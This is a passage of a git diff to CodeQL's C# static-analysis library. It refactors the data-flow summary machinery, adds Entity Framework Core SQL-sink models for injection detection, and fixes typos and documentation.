diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/FlowSummaryImpl.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/FlowSummaryImpl.qll
index b975a31c394..17d4628a83c 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/FlowSummaryImpl.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/FlowSummaryImpl.qll
@@ -26,6 +26,10 @@ module Public {
     string toString() {
       exists(ContentSet c | this = TContentSummaryComponent(c) and result = c.toString())
       or
+      exists(ContentSet c | this = TWithoutContentSummaryComponent(c) and result = "without " + c)
+      or
+      exists(ContentSet c | this = TWithContentSummaryComponent(c) and result = "with " + c)
+      or
       exists(ArgumentPosition pos |
         this = TParameterSummaryComponent(pos) and result = "parameter " + pos
       )
@@ -43,6 +47,12 @@ module Public {
     /** Gets a summary component for content `c`. */
     SummaryComponent content(ContentSet c) { result = TContentSummaryComponent(c) }
 
+    /** Gets a summary component where data is not allowed to be stored in `c`. */
+    SummaryComponent withoutContent(ContentSet c) { result = TWithoutContentSummaryComponent(c) }
+
+    /** Gets a summary component where data must be stored in `c`. */
+    SummaryComponent withContent(ContentSet c) { result = TWithContentSummaryComponent(c) }
+
     /** Gets a summary component for a parameter at position `pos`. */
     SummaryComponent parameter(ArgumentPosition pos) { result = TParameterSummaryComponent(pos) }
 
@@ -185,7 +195,10 @@ module Public {
   }
 
   /** A callable with a flow summary. */
-  abstract class SummarizedCallable extends DataFlowCallable {
+  abstract class SummarizedCallable extends SummarizedCallableBase {
+    bindingset[this]
+    SummarizedCallable() { any() }
+
     /**
      * Holds if data may flow from `input` to `output` through this callable.
      *
@@ -216,9 +229,16 @@ module Public {
     /**
      * Holds if values stored inside `content` are cleared on objects passed as
      * arguments at position `pos` to this callable.
+     *
+     * TODO: Remove once all languages support `WithoutContent` tokens.
      */
     pragma[nomagic]
     predicate clearsContent(ParameterPosition pos, ContentSet content) { none() }
+
+    /**
+     * Holds if the summary is auto generated.
+     */
+    predicate isAutoGenerated() { none() }
   }
 }
 
@@ -234,7 +254,9 @@ module Private {
     TContentSummaryComponent(ContentSet c) or
     TParameterSummaryComponent(ArgumentPosition pos) or
     TArgumentSummaryComponent(ParameterPosition pos) or
-    TReturnSummaryComponent(ReturnKind rk)
+    TReturnSummaryComponent(ReturnKind rk) or
+    TWithoutContentSummaryComponent(ContentSet c) or
+    TWithContentSummaryComponent(ContentSet c)
 
   private TParameterSummaryComponent thisParam() {
     result = TParameterSummaryComponent(instanceParameterPosition())
@@ -296,6 +318,23 @@ module Private {
           SummaryComponentStack::singleton(TArgumentSummaryComponent(_))) and
       preservesValue = preservesValue1.booleanAnd(preservesValue2)
     )
+    or
+    exists(ParameterPosition ppos, ContentSet cs |
+      c.clearsContent(ppos, cs) and
+      input = SummaryComponentStack::push(SummaryComponent::withoutContent(cs), output) and
+      output = SummaryComponentStack::argument(ppos) and
+      preservesValue = true
+    )
+  }
+
+  private class MkClearStack extends RequiredSummaryComponentStack {
+    override predicate required(SummaryComponent head, SummaryComponentStack tail) {
+      exists(SummarizedCallable sc, ParameterPosition ppos, ContentSet cs |
+        sc.clearsContent(ppos, cs) and
+        head = SummaryComponent::withoutContent(cs) and
+        tail = SummaryComponentStack::argument(ppos)
+      )
+    }
   }
 
   /**
@@ -378,10 +417,7 @@ module Private {
 
   private newtype TSummaryNodeState =
     TSummaryNodeInputState(SummaryComponentStack s) { inputState(_, s) } or
-    TSummaryNodeOutputState(SummaryComponentStack s) { outputState(_, s) } or
-    TSummaryNodeClearsContentState(ParameterPosition pos, boolean post) {
-      any(SummarizedCallable sc).clearsContent(pos, _) and post in [false, true]
-    }
+    TSummaryNodeOutputState(SummaryComponentStack s) { outputState(_, s) }
 
   /**
    * A state used to break up (complex) flow summaries into atomic flow steps.
@@ -428,12 +464,6 @@ module Private {
         this = TSummaryNodeOutputState(s) and
         result = "to write: " + s
       )
-      or
-      exists(ParameterPosition pos, boolean post, string postStr |
-        this = TSummaryNodeClearsContentState(pos, post) and
-        (if post = true then postStr = " (post)" else postStr = "") and
-        result = "clear: " + pos + postStr
-      )
     }
   }
 
@@ -457,11 +487,6 @@ module Private {
     not parameterReadState(c, state, _)
     or
     state.isOutputState(c, _)
-    or
-    exists(ParameterPosition pos |
-      c.clearsContent(pos, _) and
-      state = TSummaryNodeClearsContentState(pos, _)
-    )
   }
 
   pragma[noinline]
@@ -471,7 +496,7 @@ module Private {
       or
       exists(ParameterPosition pos |
         parameterReadState(c, state, pos) and
-        result.(ParamNode).isParameterOf(c, pos)
+        result.(ParamNode).isParameterOf(inject(c), pos)
       )
     )
   }
@@ -497,8 +522,6 @@ module Private {
     parameterReadState(c, _, pos)
     or
     isParameterPostUpdate(_, c, pos)
-    or
-    c.clearsContent(pos, _)
   }
 
   private predicate callbackOutput(
@@ -506,7 +529,7 @@ module Private {
   ) {
     any(SummaryNodeState state).isInputState(c, s) and
     s.head() = TReturnSummaryComponent(rk) and
-    receiver = summaryNodeInputState(c, s.drop(1))
+    receiver = summaryNodeInputState(c, s.tail())
   }
 
   private predicate callbackInput(
@@ -514,7 +537,7 @@ module Private {
   ) {
     any(SummaryNodeState state).isOutputState(c, s) and
     s.head() = TParameterSummaryComponent(pos) and
-    receiver = summaryNodeInputState(c, s.drop(1))
+    receiver = summaryNodeInputState(c, s.tail())
   }
 
   /** Holds if a call targeting `receiver` should be synthesized inside `c`. */
@@ -540,15 +563,21 @@ module Private {
     exists(SummarizedCallable c, SummaryComponentStack s, SummaryComponent head | head = s.head() |
       n = summaryNodeInputState(c, s) and
       (
+        exists(ContentSet cont | result = getContentType(cont) |
+          head = TContentSummaryComponent(cont) or
+          head = TWithContentSummaryComponent(cont)
+        )
+        or
         exists(ContentSet cont |
-          head = TContentSummaryComponent(cont) and result = getContentType(cont)
+          head = TWithoutContentSummaryComponent(cont) and
+          result = getNodeType(summaryNodeInputState(c, s.tail()))
         )
         or
         exists(ReturnKind rk |
           head = TReturnSummaryComponent(rk) and
           result =
             getCallbackReturnType(getNodeType(summaryNodeInputState(pragma[only_bind_out](c),
-                  s.drop(1))), rk)
+                  s.tail())), rk)
         )
       )
       or
@@ -567,16 +596,10 @@ module Private {
         exists(ArgumentPosition pos | head = TParameterSummaryComponent(pos) |
           result =
             getCallbackParameterType(getNodeType(summaryNodeInputState(pragma[only_bind_out](c),
-                  s.drop(1))), pos)
+                  s.tail())), pos)
         )
       )
     )
-    or
-    exists(SummarizedCallable c, ParameterPosition pos, ParamNode p |
-      n = summaryNode(c, TSummaryNodeClearsContentState(pos, false)) and
-      p.isParameterOf(c, pos) and
-      result = getNodeType(p)
-    )
   }
 
   /** Holds if summary node `out` contains output of kind `rk` from call `c`. */
@@ -601,10 +624,7 @@ module Private {
   predicate summaryPostUpdateNode(Node post, Node pre) {
     exists(SummarizedCallable c, ParameterPosition pos |
       isParameterPostUpdate(post, c, pos) and
-      pre.(ParamNode).isParameterOf(c, pos)
-      or
-      pre = summaryNode(c, TSummaryNodeClearsContentState(pos, false)) and
-      post = summaryNode(c, TSummaryNodeClearsContentState(pos, true))
+      pre.(ParamNode).isParameterOf(inject(c), pos)
     )
     or
     exists(SummarizedCallable callable, SummaryComponentStack s |
@@ -627,9 +647,7 @@ module Private {
    * node, and back out to `p`.
    */
   predicate summaryAllowParameterReturnInSelf(ParamNode p) {
-    exists(SummarizedCallable c, ParameterPosition ppos | p.isParameterOf(c, ppos) |
-      c.clearsContent(ppos, _)
-      or
+    exists(SummarizedCallable c, ParameterPosition ppos | p.isParameterOf(inject(c), ppos) |
       exists(SummaryComponentStack inputContents, SummaryComponentStack outputContents |
         summary(c, inputContents, outputContents, _) and
         inputContents.bottom() = pragma[only_bind_into](TArgumentSummaryComponent(ppos)) and
@@ -658,9 +676,10 @@ module Private {
         preservesValue = false and not summary(c, inputContents, outputContents, true)
       )
       or
-      exists(SummarizedCallable c, ParameterPosition pos |
-        pred.(ParamNode).isParameterOf(c, pos) and
-        succ = summaryNode(c, TSummaryNodeClearsContentState(pos, _)) and
+      exists(SummarizedCallable c, SummaryComponentStack s |
+        pred = summaryNodeInputState(c, s.tail()) and
+        succ = summaryNodeInputState(c, s) and
+        s.head() = [SummaryComponent::withContent(_), SummaryComponent::withoutContent(_)] and
         preservesValue = true
       )
     }
@@ -671,7 +690,7 @@ module Private {
      */
     predicate summaryReadStep(Node pred, ContentSet c, Node succ) {
       exists(SummarizedCallable sc, SummaryComponentStack s |
-        pred = summaryNodeInputState(sc, s.drop(1)) and
+        pred = summaryNodeInputState(sc, s.tail()) and
         succ = summaryNodeInputState(sc, s) and
         SummaryComponent::content(c) = s.head()
       )
@@ -684,7 +703,7 @@ module Private {
     predicate summaryStoreStep(Node pred, ContentSet c, Node succ) {
       exists(SummarizedCallable sc, SummaryComponentStack s |
         pred = summaryNodeOutputState(sc, s) and
-        succ = summaryNodeOutputState(sc, s.drop(1)) and
+        succ = summaryNodeOutputState(sc, s.tail()) and
         SummaryComponent::content(c) = s.head()
       )
     }
@@ -709,9 +728,22 @@ module Private {
      * node where field `b` is cleared).
      */
     predicate summaryClearsContent(Node n, ContentSet c) {
-      exists(SummarizedCallable sc, ParameterPosition pos |
-        n = summaryNode(sc, TSummaryNodeClearsContentState(pos, true)) and
-        sc.clearsContent(pos, c)
+      exists(SummarizedCallable sc, SummaryNodeState state, SummaryComponentStack stack |
+        n = summaryNode(sc, state) and
+        state.isInputState(sc, stack) and
+        stack.head() = SummaryComponent::withoutContent(c)
+      )
+    }
+
+    /**
+     * Holds if the value that is being tracked is expected to be stored inside
+     * content `c` at `n`.
+     */
+    predicate summaryExpectsContent(Node n, ContentSet c) {
+      exists(SummarizedCallable sc, SummaryNodeState state, SummaryComponentStack stack |
+        n = summaryNode(sc, state) and
+        state.isInputState(sc, stack) and
+        stack.head() = SummaryComponent::withContent(c)
       )
     }
 
@@ -719,23 +751,10 @@ module Private {
     private predicate viableParam(
       DataFlowCall call, SummarizedCallable sc, ParameterPosition ppos, ParamNode p
     ) {
-      p.isParameterOf(sc, ppos) and
-      sc = viableCallable(call)
-    }
-
-    /**
-     * Holds if values stored inside content `c` are cleared inside a
-     * callable to which `arg` is an argument.
-     *
-     * In such cases, it is important to prevent use-use flow out of
-     * `arg` (see comment for `summaryClearsContent`).
-     */
-    pragma[nomagic]
-    predicate summaryClearsContentArg(ArgNode arg, ContentSet c) {
-      exists(DataFlowCall call, SummarizedCallable sc, ParameterPosition ppos |
-        argumentPositionMatch(call, arg, ppos) and
-        viableParam(call, sc, ppos, _) and
-        sc.clearsContent(ppos, c)
+      exists(DataFlowCallable c |
+        c = inject(sc) and
+        p.isParameterOf(c, ppos) and
+        c = viableCallable(call)
       )
     }
 
@@ -747,28 +766,62 @@ module Private {
       )
     }
 
+    /**
+     * Holds if use-use flow starting from `arg` should be prohibited.
+     *
+     * This is the case when `arg` is the argument of a call that targets a
+     * flow summary where the corresponding parameter either clears contents
+     * or expects contents.
+     */
     pragma[nomagic]
-    private ParamNode summaryArgParam(ArgNode arg, ReturnKindExt rk, OutNodeExt out) {
-      exists(DataFlowCall call |
+    predicate prohibitsUseUseFlow(ArgNode arg) {
+      exists(ParamNode p, Node mid, ParameterPosition ppos, Node ret |
+        p = summaryArgParam0(_, arg) and
+        p.isParameterOf(_, ppos) and
+        summaryLocalStep(p, mid, true) and
+        summaryLocalStep(mid, ret, true) and
+        isParameterPostUpdate(ret, _, ppos)
+      |
+        summaryClearsContent(mid, _) or
+        summaryExpectsContent(mid, _)
+      )
+    }
+
+    bindingset[ret]
+    private ParamNode summaryArgParam(ArgNode arg, ReturnNodeExt ret, OutNodeExt out) {
+      exists(DataFlowCall call, ReturnKindExt rk |
         result = summaryArgParam0(call, arg) and
-        out = rk.getAnOutNode(call)
+        ret.getKind() = pragma[only_bind_into](rk) and
+        out = pragma[only_bind_into](rk).getAnOutNode(call)
       )
     }
 
     /**
-     * Holds if `arg` flows to `out` using a simple flow summary, that is, a flow
-     * summary without reads and stores.
+     * Holds if `arg` flows to `out` using a simple value-preserving flow
+     * summary, that is, a flow summary without reads and stores.
      *
      * NOTE: This step should not be used in global data-flow/taint-tracking, but may
      * be useful to include in the exposed local data-flow/taint-tracking relations.
      */
-    predicate summaryThroughStep(ArgNode arg, Node out, boolean preservesValue) {
-      exists(ReturnKindExt rk, ReturnNodeExt ret |
-        summaryLocalStep(summaryArgParam(arg, rk, out), ret, preservesValue) and
-        ret.getKind() = rk
+    predicate summaryThroughStepValue(ArgNode arg, Node out) {
+      exists(ReturnKind rk, ReturnNode ret, DataFlowCall call |
+        summaryLocalStep(summaryArgParam0(call, arg), ret, true) and
+        ret.getKind() = pragma[only_bind_into](rk) and
+        out = getAnOutNode(call, pragma[only_bind_into](rk))
       )
     }
 
+    /**
+     * Holds if `arg` flows to `out` using a simple flow summary involving taint
+     * step, that is, a flow summary without reads and stores.
+     *
+     * NOTE: This step should not be used in global data-flow/taint-tracking, but may
+     * be useful to include in the exposed local data-flow/taint-tracking relations.
+     */
+    predicate summaryThroughStepTaint(ArgNode arg, Node out) {
+      exists(ReturnNodeExt ret | summaryLocalStep(summaryArgParam(arg, ret, out), ret, false))
+    }
+
     /**
      * Holds if there is a read(+taint) of `c` from `arg` to `out` using a
      * flow summary.
@@ -777,10 +830,9 @@ module Private {
      * be useful to include in the exposed local data-flow/taint-tracking relations.
      */
     predicate summaryGetterStep(ArgNode arg, ContentSet c, Node out) {
-      exists(ReturnKindExt rk, Node mid, ReturnNodeExt ret |
-        summaryReadStep(summaryArgParam(arg, rk, out), c, mid) and
-        summaryLocalStep(mid, ret, _) and
-        ret.getKind() = rk
+      exists(Node mid, ReturnNodeExt ret |
+        summaryReadStep(summaryArgParam(arg, ret, out), c, mid) and
+        summaryLocalStep(mid, ret, _)
       )
     }
 
@@ -792,10 +844,9 @@ module Private {
      * be useful to include in the exposed local data-flow/taint-tracking relations.
      */
     predicate summarySetterStep(ArgNode arg, ContentSet c, Node out) {
-      exists(ReturnKindExt rk, Node mid, ReturnNodeExt ret |
-        summaryLocalStep(summaryArgParam(arg, rk, out), mid, _) and
-        summaryStoreStep(mid, c, ret) and
-        ret.getKind() = rk
+      exists(Node mid, ReturnNodeExt ret |
+        summaryLocalStep(summaryArgParam(arg, ret, out), mid, _) and
+        summaryStoreStep(mid, c, ret)
       )
     }
   }
@@ -898,6 +949,8 @@ module Private {
           kind = "taint" and preservesValue = false
         )
       }
+
+      override predicate isAutoGenerated() { summaryElement(this, _, _, _, true) }
     }
 
     /** Holds if component `c` of specification `spec` cannot be parsed. */
@@ -1033,7 +1086,7 @@ module Private {
   /** Provides a query predicate for outputting a set of relevant flow summaries. */
   module TestOutput {
     /** A flow summary to include in the `summary/3` query predicate. */
-    abstract class RelevantSummarizedCallable extends SummarizedCallable {
+    abstract class RelevantSummarizedCallable instanceof SummarizedCallable {
       /** Gets the string representation of this callable used by `summary/1`. */
       abstract string getCallableCsv();
 
@@ -1041,8 +1094,10 @@ module Private {
       predicate relevantSummary(
         SummaryComponentStack input, SummaryComponentStack output, boolean preservesValue
       ) {
-        this.propagatesFlow(input, output, preservesValue)
+        super.propagatesFlow(input, output, preservesValue)
       }
+
+      string toString() { result = super.toString() }
     }
 
     /** Render the kind in the format used in flow summaries. */
@@ -1052,9 +1107,13 @@ module Private {
       preservesValue = false and result = "taint"
     }
 
+    private string renderGenerated(RelevantSummarizedCallable c) {
+      if c.(SummarizedCallable).isAutoGenerated() then result = "generated:" else result = ""
+    }
+
     /**
      * A query predicate for outputting flow summaries in semi-colon separated format in QL tests.
-     * The syntax is: "namespace;type;overrides;name;signature;ext;inputspec;outputspec;kind",
+     * The syntax is: "namespace;type;overrides;name;signature;ext;inputspec;outputspec;(generated:)?kind",
      * ext is hardcoded to empty.
      */
     query predicate summary(string csv) {
@@ -1065,7 +1124,7 @@ module Private {
         c.relevantSummary(input, output, preservesValue) and
         csv =
           c.getCallableCsv() + getComponentStackCsv(input) + ";" + getComponentStackCsv(output) +
-            ";" + renderKind(preservesValue)
+            ";" + renderGenerated(c) + renderKind(preservesValue)
       )
     }
   }
@@ -1079,19 +1138,21 @@ module Private {
    */
   module RenderSummarizedCallable {
     /** A summarized callable to include in the graph. */
-    abstract class RelevantSummarizedCallable extends SummarizedCallable { }
+    abstract class RelevantSummarizedCallable instanceof SummarizedCallable {
+      string toString() { result = super.toString() }
+    }
 
     private newtype TNodeOrCall =
       MkNode(Node n) {
         exists(RelevantSummarizedCallable c |
           n = summaryNode(c, _)
           or
-          n.(ParamNode).isParameterOf(c, _)
+          n.(ParamNode).isParameterOf(inject(c), _)
         )
       } or
       MkCall(DataFlowCall call) {
         call = summaryDataFlowCall(_) and
-        call.getEnclosingCallable() instanceof RelevantSummarizedCallable
+        call.getEnclosingCallable() = inject(any(RelevantSummarizedCallable c))
       }
 
     private class NodeOrCall extends TNodeOrCall {
@@ -1141,6 +1202,10 @@ module Private {
         Private::Steps::summaryClearsContent(a.asNode(), c) and
         b = a and
         value = "clear (" + c + ")"
+        or
+        Private::Steps::summaryExpectsContent(a.asNode(), c) and
+        b = a and
+        value = "expect (" + c + ")"
       )
       or
       summaryPostUpdateNode(b.asNode(), a.asNode()) and
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/FlowSummaryImplSpecific.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/FlowSummaryImplSpecific.qll
index 45535607b77..7fa9df72ba2 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/FlowSummaryImplSpecific.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/FlowSummaryImplSpecific.qll
@@ -3,6 +3,7 @@
  */
 
 private import csharp
+private import dotnet
 private import semmle.code.csharp.frameworks.system.linq.Expressions
 private import DataFlowDispatch
 private import DataFlowPrivate
@@ -12,6 +13,13 @@ private import FlowSummaryImpl::Private
 private import FlowSummaryImpl::Public
 private import semmle.code.csharp.Unification
 private import semmle.code.csharp.dataflow.ExternalFlow
+private import semmle.code.csharp.dataflow.FlowSummary as FlowSummary
+
+class SummarizedCallableBase extends Callable {
+  SummarizedCallableBase() { this.isUnboundDeclaration() }
+}
+
+DataFlowCallable inject(SummarizedCallable c) { result.asSummarizedCallable() = c }
 
 /** Gets the parameter position of the instance parameter. */
 ArgumentPosition instanceParameterPosition() { none() } // disables implicit summary flow to `this` for callbacks
@@ -36,7 +44,7 @@ DataFlowType getContentType(Content c) {
   )
 }
 
-private DataFlowType getReturnTypeBase(DataFlowCallable c, ReturnKind rk) {
+private DataFlowType getReturnTypeBase(DotNet::Callable c, ReturnKind rk) {
   exists(Type t | result = Gvn::getGlobalValueNumber(t) |
     rk instanceof NormalReturnKind and
     (
@@ -88,9 +96,7 @@ DataFlowType getCallbackReturnType(DataFlowType t, ReturnKind rk) {
  * `input`, output specification `output`, kind `kind`, and a flag `generated`
  * stating whether the summary is autogenerated.
  */
-predicate summaryElement(
-  DataFlowCallable c, string input, string output, string kind, boolean generated
-) {
+predicate summaryElement(Callable c, string input, string output, string kind, boolean generated) {
   exists(
     string namespace, string type, boolean subtypes, string name, string signature, string ext
   |
@@ -219,10 +225,10 @@ class InterpretNode extends TInterpretNode {
   DataFlowCall asCall() { this = TDataFlowCall_(result) }
 
   /** Gets the callable that this node corresponds to, if any. */
-  DataFlowCallable asCallable() { result = this.asElement() }
+  DataFlowCallable asCallable() { result.getUnderlyingCallable() = this.asElement() }
 
   /** Gets the target of this call, if any. */
-  Callable getCallTarget() { result = viableCallable(this.asCall()) }
+  Callable getCallTarget() { result = this.asCall().(NonDelegateDataFlowCall).getATarget(_) }
 
   /** Gets a textual representation of this node. */
   string toString() {
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/TaintTrackingPrivate.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/TaintTrackingPrivate.qll
index 2df41e00299..1dc0d22f1b2 100755
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/TaintTrackingPrivate.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/TaintTrackingPrivate.qll
@@ -117,7 +117,7 @@ private module Cached {
     (
       // Simple flow through library code is included in the exposed local
       // step relation, even though flow is technically inter-procedural
-      FlowSummaryImpl::Private::Steps::summaryThroughStep(nodeFrom, nodeTo, false)
+      FlowSummaryImpl::Private::Steps::summaryThroughStepTaint(nodeFrom, nodeTo)
       or
       // Taint collection by adding a tainted element
       exists(DataFlow::ElementContent c |
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/SignAnalysisCommon.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/SignAnalysisCommon.qll
index 06af17094a5..5a3b4f63d9f 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/SignAnalysisCommon.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/SignAnalysisCommon.qll
@@ -49,7 +49,7 @@ private predicate unknownSign(Expr e) {
     or
     exists(LongLiteral lit | lit = e and not exists(lit.getValue().toFloat()))
     or
-    exists(CastExpr cast, Type fromtyp |
+    exists(CastingExpr cast, Type fromtyp |
       cast = e and
       fromtyp = cast.getSourceType() and
       not fromtyp instanceof NumericOrCharType
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll
index 9691c8dffa7..04d0816a683 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/rangeanalysis/SignAnalysisSpecific.qll
@@ -29,6 +29,8 @@ module Private {
 
   class CastExpr = RU::ExprNode::CastExpr;
 
+  class CastingExpr = CastExpr;
+
   class Type = CS::Type;
 
   class Expr = CS::ControlFlow::Nodes::ExprNode;
diff --git a/csharp/ql/lib/semmle/code/csharp/dispatch/OverridableCallable.qll b/csharp/ql/lib/semmle/code/csharp/dispatch/OverridableCallable.qll
index f346a660137..ffb14f1e915 100644
--- a/csharp/ql/lib/semmle/code/csharp/dispatch/OverridableCallable.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dispatch/OverridableCallable.qll
@@ -9,7 +9,7 @@ import csharp
  * A callable that can be overridden or implemented.
  *
  * Unlike the class `Overridable`, this class only includes callables that
- * can actually be overriden/implemented.
+ * can actually be overridden/implemented.
  */
 class OverridableCallable extends Callable, Overridable {
   OverridableCallable() { this.isOverridableOrImplementable() }
diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Call.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Call.qll
index dff1aafa0d2..42d8e30e25b 100644
--- a/csharp/ql/lib/semmle/code/csharp/exprs/Call.qll
+++ b/csharp/ql/lib/semmle/code/csharp/exprs/Call.qll
@@ -175,8 +175,8 @@ class Call extends DotNet::Call, Expr, @call {
    * - Line 10: The static target is `Type.InvokeMember()`, whereas the run-time targets
    *   are both `A.M()` and `B.M()`.
    *
-   * - Line 16: There is no static target (delegate call) but the delegate `i => { }` (line
-   *   20) is a run-time target.
+   * - Line 16: There is no static target (delegate call) but the delegate `i => { }`
+   *   (line 20) is a run-time target.
    */
   override Callable getARuntimeTarget() {
     exists(DispatchCall dc | dc.getCall() = this | result = dc.getADynamicTarget())
@@ -568,7 +568,7 @@ class DelegateLikeCall extends Call, DelegateLikeCall_ {
   final override Callable getARuntimeTarget() {
     exists(ExplicitDelegateLikeDataFlowCall call |
       this = call.getCall() and
-      result = viableCallableLambda(call, _)
+      result = viableCallableLambda(call, _).getUnderlyingCallable()
     )
   }
 
diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll b/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll
index bbed4062a97..e62b95a04cf 100644
--- a/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll
+++ b/csharp/ql/lib/semmle/code/csharp/exprs/Expr.qll
@@ -937,7 +937,7 @@ class ThrowExpr extends Expr, ThrowElement, @throw_expr {
    * For example, `new ArgumentException("i")` in
    * `return i != 0 ? 1 / i : throw new ArgumentException("i");`.
    */
-  // overriden for more precise qldoc
+  // overridden for more precise qldoc
   override Expr getExpr() { result = ThrowElement.super.getExpr() }
 
   override string getAPrimaryQlClass() { result = "ThrowExpr" }
@@ -1173,7 +1173,7 @@ class WithExpr extends Expr, @with_expr {
   /** Gets the expression on which this `with` is called. */
   Expr getExpr() { result = this.getChild(0) }
 
-  /** Gets the clone method of the `record` that is targetted by this `with` expression. */
+  /** Gets the clone method of the `record` that is targeted by this `with` expression. */
   RecordCloneMethod getCloneMethod() {
     result = this.getExpr().getType().(RecordClass).getCloneMethod()
   }
diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/EntityFramework.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/EntityFramework.qll
index f0ec251db03..e62c6c3ee94 100644
--- a/csharp/ql/lib/semmle/code/csharp/frameworks/EntityFramework.qll
+++ b/csharp/ql/lib/semmle/code/csharp/frameworks/EntityFramework.qll
@@ -88,7 +88,10 @@ module EntityFramework {
   }
 
   /** A flow summary for EntityFramework. */
-  abstract class EFSummarizedCallable extends SummarizedCallable { }
+  abstract class EFSummarizedCallable extends SummarizedCallable {
+    bindingset[this]
+    EFSummarizedCallable() { any() }
+  }
 
   private class DbSetAddOrUpdateRequiredSummaryComponentStack extends RequiredSummaryComponentStack {
     override predicate required(SummaryComponent head, SummaryComponentStack tail) {
@@ -258,6 +261,30 @@ module EntityFramework {
     }
   }
 
+  /** A sink method in `Microsoft.EntityFrameworkCore.RelationalQueryableExtensions` that executes SQL. */
+  private class MicrosoftEntityFrameworkCoreRelationalQueryableExtensionsSinkModelCsv extends SinkModelCsv {
+    override predicate row(string row) {
+      row =
+        [
+          "Microsoft.EntityFrameworkCore;RelationalQueryableExtensions;false;FromSqlRaw<>;(Microsoft.EntityFrameworkCore.DbSet<TEntity>,System.String,System.Object[]);;Argument[1];sql",
+        ]
+    }
+  }
+
+  /** A sink method in `Microsoft.EntityFrameworkCore.RelationalDatabaseFacadeExtensions` that executes SQL. */
+  private class MicrosoftEntityFrameworkCoreRelationalDatabaseFacadeExtensionsSinkModelCsv extends SinkModelCsv {
+    override predicate row(string row) {
+      row =
+        [
+          "Microsoft.EntityFrameworkCore;RelationalDatabaseFacadeExtensions;false;ExecuteSqlRaw;(Microsoft.EntityFrameworkCore.Infrastructure.DatabaseFacade,System.String,System.Collections.Generic.IEnumerable<System.Object>);;Argument[1];sql",
+          "Microsoft.EntityFrameworkCore;RelationalDatabaseFacadeExtensions;false;ExecuteSqlRaw;(Microsoft.EntityFrameworkCore.Infrastructure.DatabaseFacade,System.String,System.Object[]);;Argument[1];sql",
+          "Microsoft.EntityFrameworkCore;RelationalDatabaseFacadeExtensions;false;ExecuteSqlRawAsync;(Microsoft.EntityFrameworkCore.Infrastructure.DatabaseFacade,System.String,System.Threading.CancellationToken);;Argument[1];sql",
+          "Microsoft.EntityFrameworkCore;RelationalDatabaseFacadeExtensions;false;ExecuteSqlRawAsync;(Microsoft.EntityFrameworkCore.Infrastructure.DatabaseFacade,System.String,System.Object[]);;Argument[1];sql",
+          "Microsoft.EntityFrameworkCore;RelationalDatabaseFacadeExtensions;false;ExecuteSqlRawAsync;(Microsoft.EntityFrameworkCore.Infrastructure.DatabaseFacade,System.String,System.Collections.Generic.IEnumerable<System.Object>,System.Threading.CancellationToken);;Argument[1];sql",
+        ]
+    }
+  }
+
   /** Holds if `t` is compatible with a DB column type. */
   private predicate isColumnType(Type t) {
     t instanceof SimpleType
diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/system/Collections.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/system/Collections.qll
index 17b41398d4f..3f92a46c254 100644
--- a/csharp/ql/lib/semmle/code/csharp/frameworks/system/Collections.qll
+++ b/csharp/ql/lib/semmle/code/csharp/frameworks/system/Collections.qll
@@ -55,7 +55,7 @@ private class SystemCollectionsIEnumerableClearFlow extends SummarizedCallable {
   }
 
   override predicate clearsContent(ParameterPosition pos, DataFlow::ContentSet content) {
-    pos.isThisParameter() and
+    (if this.(Modifiable).isStatic() then pos.getPosition() = 0 else pos.isThisParameter()) and
     content instanceof DataFlow::ElementContent
   }
 }
diff --git a/csharp/ql/src/API Abuse/IncorrectCompareToSignature.ql b/csharp/ql/src/API Abuse/IncorrectCompareToSignature.ql
index b3fea8d8419..9f9eff6f1f6 100644
--- a/csharp/ql/src/API Abuse/IncorrectCompareToSignature.ql	
+++ b/csharp/ql/src/API Abuse/IncorrectCompareToSignature.ql	
@@ -1,6 +1,6 @@
 /**
  * @name Potentially incorrect CompareTo(...) signature
- * @description The declaring type of a method with signature 'CompareTo(T)' does not implement 'IComparable<T>'.
+ * @description The declaring type of a method with signature `CompareTo(T)` does not implement `IComparable<T>`.
  * @kind problem
  * @problem.severity warning
  * @precision medium
diff --git a/csharp/ql/src/CHANGELOG.md b/csharp/ql/src/CHANGELOG.md
index d969cefbbcc..77df7a74581 100644
--- a/csharp/ql/src/CHANGELOG.md
+++ b/csharp/ql/src/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 0.1.2
+
+## 0.1.1
+
 ## 0.1.0
 
 ## 0.0.13
diff --git a/csharp/ql/src/Documentation/XmldocExtraParam.ql b/csharp/ql/src/Documentation/XmldocExtraParam.ql
index be42720d439..a745edfb6d8 100644
--- a/csharp/ql/src/Documentation/XmldocExtraParam.ql
+++ b/csharp/ql/src/Documentation/XmldocExtraParam.ql
@@ -1,6 +1,6 @@
 /**
